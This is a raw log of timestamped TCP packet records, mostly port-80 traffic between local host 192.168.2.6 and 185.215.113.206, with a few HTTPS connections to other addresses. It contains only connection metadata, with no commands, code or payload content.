Nov 12, 2024 10:37:35.888636112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888659000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888681889 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888736010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888746977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888757944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888768911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888789892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888822079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888937950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888947964 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888958931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888972044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888983011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888983965 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889000893 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889028072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889159918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889170885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889180899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889194012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889204979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889229059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889379978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889390945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889400959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889411926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889422894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889424086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889441967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889456034 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889617920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889628887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889640093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889650106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889657974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889683008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889838934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889849901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889861107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889872074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889882088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.889890909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.889913082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890070915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890083075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890094995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890110016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890137911 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890146017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890156984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890166044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890177965 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890188932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890198946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890202045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890219927 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890234947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890574932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890585899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890597105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890609980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890614033 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890635014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890660048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890707970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890718937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890750885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890805960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890816927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890825987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890836954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890847921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890856028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890858889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890872955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.890873909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890889883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.890904903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891045094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891176939 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891207933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891222000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891232967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891248941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891266108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891272068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891278028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891288042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891300917 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891308069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891320944 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891328096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891339064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891341925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891350031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891356945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891366005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891370058 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891379118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891398907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891398907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891410112 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891705036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891715050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891726017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891736031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891747952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891751051 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891762972 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891774893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891776085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891807079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891824007 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891839981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891853094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891864061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891875029 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891881943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891885996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891897917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891907930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891908884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891920090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891925097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891932011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891937017 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891947031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891957045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891966105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891968966 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891979933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.891985893 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.891997099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892019033 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892168045 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:35.892229080 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:35.892652988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892668009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892678976 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892689943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892692089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892705917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892714977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892719984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892730951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892741919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892754078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892755032 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892765045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892776012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892781019 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892786980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892797947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892808914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892818928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892819881 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892832994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892837048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892846107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892852068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892857075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892868042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892877102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892884970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.892908096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.892920017 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.893404961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893415928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893425941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893438101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893450022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893450975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.893461943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893472910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893484116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893490076 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.893496037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.893506050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.893522024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.894129038 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:35.894150972 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:35.923489094 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.923516035 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.932318926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932339907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932354927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932426929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932426929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932470083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932482004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932501078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932516098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932517052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932538033 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932565928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932583094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932646036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932656050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932724953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932744026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932744026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932753086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932766914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932787895 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932801962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932835102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932912111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932923079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932934046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932945013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932946920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932960033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.932967901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.932986021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.964415073 CET	49963	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:35.964447021 CET	443	49963	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:35.964771032 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.964952946 CET	49963	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:35.964952946 CET	49963	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:35.964982986 CET	443	49963	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:35.968043089 CET	49964	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:35.968081951 CET	443	49964	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:35.969750881 CET	49964	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:35.969907045 CET	49964	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:35.969918013 CET	443	49964	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:35.973750114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.974029064 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.983987093 CET	443	49953	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.989540100 CET	49952	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.989568949 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.989999056 CET	49952	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.990008116 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.990751982 CET	49953	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.990788937 CET	443	49953	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.991255999 CET	49953	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.991262913 CET	443	49953	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.992809057 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.993611097 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.993623972 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.994260073 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.994263887 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.005347013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005366087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005377054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005409002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.005418062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005425930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.005467892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.005500078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005517006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005539894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.005552053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.005630016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005640984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005650997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005664110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005673885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005692005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.005727053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.005856991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005868912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005878925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005891085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005903959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.005918980 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.005933046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006021023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006139040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006151915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006166935 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006186962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006251097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006262064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006272078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006283998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006294012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006299973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006313086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006329060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006377935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006447077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006458044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006469011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006479979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006484985 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006506920 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006520987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006702900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006716013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006728888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006750107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006757021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006761074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006772041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006783009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006784916 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006784916 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006794930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006808043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006814003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006820917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.006836891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006844997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.006871939 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007291079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007302046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007318020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007332087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007344007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007355928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007366896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007371902 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007379055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007390022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007390022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007401943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007415056 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007433891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007524014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007534027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007543087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007558107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007591009 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007605076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007616997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007644892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007654905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007745981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007757902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007767916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007778883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007791042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.007812977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.007844925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.008006096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008017063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008032084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008044958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.008055925 CET	80	49834	185.215.113.206	192.168.2.6
